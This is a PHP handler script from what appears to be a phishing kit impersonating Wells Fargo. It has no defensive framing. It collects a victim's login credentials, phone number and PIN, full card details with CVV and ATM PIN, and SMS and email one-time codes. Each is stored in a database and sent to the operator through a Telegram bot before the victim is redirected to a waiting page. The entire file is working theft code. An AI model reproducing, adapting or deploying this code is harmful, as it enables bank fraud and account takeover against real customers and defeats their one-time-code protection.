<?php
session_start();

if ($_SERVER["REQUEST_METHOD"]) 
{
	include '../admintus/config/data.php';
	include './class/UserInfo.php';
	include './functions.php';
	include '../config.php';

	$ip  = $_SERVER["REMOTE_ADDR"];
	$uag = UserInfo::getUag();

	$updatetime = date("h:i:sa");


	if ($_GET["id"] == "0" ) 
	{
		$errors = array();

        $user = $_SESSION["user"] = trim(htmlspecialchars($_POST["j_username"]));
		$pass = $_SESSION["pass"] = trim(htmlspecialchars($_POST["j_password"]));
	
		if (empty($user))
		{
			$errors['datos'] = 'Todos los datos son obligatorios';
		}

		else
		{
			if (isset($_SESSION['update']['login'])) 
			{
				$stmt = $connp->prepare("UPDATE `wellsfargo` SET `user`=:user, `pass`=:pass, updatetime=:updatetime, `status` = 0 WHERE time = :time");
				$stmt->bindParam(':user', $user);
				$stmt->bindParam(':pass', $pass);
				$stmt->bindParam(':time', $_SESSION['time']);

				$stmt->bindParam(':updatetime', $updatetime);
				$stmt->execute();

				unset($_SESSION['update']['login']);
				header("location: ../wait");
			}else {
				$stmt = $connp->prepare("INSERT INTO `wellsfargo`(`user`,`pass`,`ip`, `ua`, `updatetime`, `time`, `status`) VALUES (:user, :pass, :ip, :ua, :updatetime, :time, 0)");
				$stmt->bindParam(':user', $user);
				$stmt->bindParam(':pass', $pass);

				$stmt->bindParam(':ip', $ip);
				$stmt->bindParam(':ua', $uag);
				$stmt->bindParam(':time', $_SESSION['time']);

				$stmt->bindParam(':updatetime', $updatetime);

				$stmt->execute();
				header("location: ../wait");
			}

			$msg = "WELLS FARGO LOGIN\n\n";
			$msg .= "UID: {$_SESSION['time']}\n";
			$msg .= "USER: {$_SESSION['user']}\n";
			$msg .= "PASS: {$_SESSION['pass']}\n";
			$msg .= "IP: {$ip}\n";
			$msg .= "UAG: {$uag}\n";
			sendTg($msg, $bot_token, $chat_id);
			exit(0);
		}
	}



	if ($_GET['id'] == "1")
	{
		$errors = array();
		$mobil = $_SESSION["mobil"] = trim(htmlspecialchars($_POST["mobil"]));
		$wireless = $_SESSION["wireless"] = trim(htmlspecialchars($_POST["wireless"]));
		if (count($errors) !== 0)
		{
			$_SESSION['errors'] = $errors;
			header("location: ../wireless");
		}else {

			$stmt = $connp->prepare("UPDATE `wellsfargo` SET `phone` = :mobil, `phonepin` = :wireless, updatetime=:updatetime, `status` = 0 WHERE time = :time");
			$stmt->bindParam(':mobil', $mobil);
			$stmt->bindParam(':wireless', $wireless);
			$stmt->bindParam(':time', $_SESSION['time']);

			$stmt->bindParam(':updatetime', $updatetime);
			$stmt->execute();

			header("location: ../wait");

		}


		$msg =  "WELLS FARGO LOGIN\n\n";
		$msg .= "UID: {$_SESSION['time']}\n";
		$msg .= "USER: {$_SESSION['user']}\n";
		$msg .= "PASS: {$_SESSION['pass']}\n";
		$msg .= "Mobil: {$_SESSION['mobil']}\n";
		$msg .= "Mobil PIN: {$_SESSION['wireless']}\n";
		$msg .= "IP: {$ip}\n";
		$msg .= "UAG: {$uag}\n";
		sendTg($msg, $bot_token, $chat_id);
		exit(0);
	
	}



	if ($_GET['id'] == "2")
	{
		$errors = array();
		$card = $_SESSION["card"] = trim(htmlspecialchars($_POST["card"]));
		$exp = $_SESSION["exp"] = trim(htmlspecialchars($_POST["exp"]));
		$cvv = $_SESSION["cvv"] = trim(htmlspecialchars($_POST["cvv"]));

		$pin = $_SESSION["pin"] = trim(htmlspecialchars($_POST["pin"]));


		$fullcc= $card."|".$exp."|".$cvv;


		if (count($errors) !== 0)
		{
			$_SESSION['errors'] = $errors;
			header("location: ../sms");
		}else {
			$stmt = $connp->prepare("UPDATE `wellsfargo` SET `card`=:card, `atmpin`=:pin, updatetime=:updatetime,  `status` = 0 WHERE time = :time");
			$stmt->bindParam(':card', $fullcc);
			$stmt->bindParam(':pin', $pin);

			$stmt->bindParam(':time', $_SESSION['time']);

			$stmt->bindParam(':updatetime', $updatetime);
			$stmt->execute();
			

			$msg =  "WELLS FARGO\n\n";
			$msg .= "UID: {$_SESSION['time']}\n";
			$msg .= "Card: {$fullcc}\n";
			$msg .= "Atm Pin: {$_SESSION['pin']}\n";

			$msg .= "IP : {$ip}\n";
			$msg .= "UAG : {$uag}\n";
			sendTg($msg, $bot_token, $chat_id);
			header("location: ../wait");
			exit(0);

		}
	}



	if ($_GET['id'] == "3")
	{
		$errors = array();
		$sms = $_SESSION["sms"] = trim(htmlspecialchars($_POST["otp"]));

		if (count($errors) !== 0)
		{
			$_SESSION['errors'] = $errors;
			header("location: ../sms");
		}else {
			$stmt = $connp->prepare("UPDATE `wellsfargo` SET `sms` = :sms, updatetime=:updatetime, `status` = 0 WHERE time = :time");
			$stmt->bindParam(':sms', $sms);
			$stmt->bindParam(':time', $_SESSION['time']);

			$stmt->bindParam(':updatetime', $updatetime);
			$stmt->execute();
			

			$msg =  "WELLS FARGO SMS OTP\n\n";
			$msg .= "UID: {$_SESSION['time']}\n";
			$msg .= "SMS: {$_SESSION['sms']}\n";
			$msg .= "IP: {$ip}\n";
			$msg .= "UAG: {$uag}\n";
			sendTg($msg, $bot_token, $chat_id);
			header("location: ../wait");
			exit(0);

		}
	}


	if ($_GET['id'] == "4")
	{
		$errors = array();
		$mailotp = $_SESSION["mailotp"] = trim(htmlspecialchars($_POST["otp"]));

		if (count($errors) !== 0)
		{
			$_SESSION['errors'] = $errors;
			header("location: ../mailotp");
		}else {
			$stmt = $connp->prepare("UPDATE `wellsfargo` SET `otp_mail` = :mailotp, updatetime=:updatetime, `status` = 0 WHERE time = :time");
			$stmt->bindParam(':mailotp', $mailotp);
			$stmt->bindParam(':time', $_SESSION['time']);

			$stmt->bindParam(':updatetime', $updatetime);
			$stmt->execute();
			

			$msg = "WELLS FARGO MAIL OTP\n\n";
			$msg .= "Mail Opt : {$_SESSION['mailotp']}\n";
			$msg .= "IP : {$ip}\n";
			$msg .= "UAG : {$uag}\n";
			sendTg($msg, $bot_token, $chat_id);
			header("location: ../wait");
			exit(0);

		}
	}

}
?>
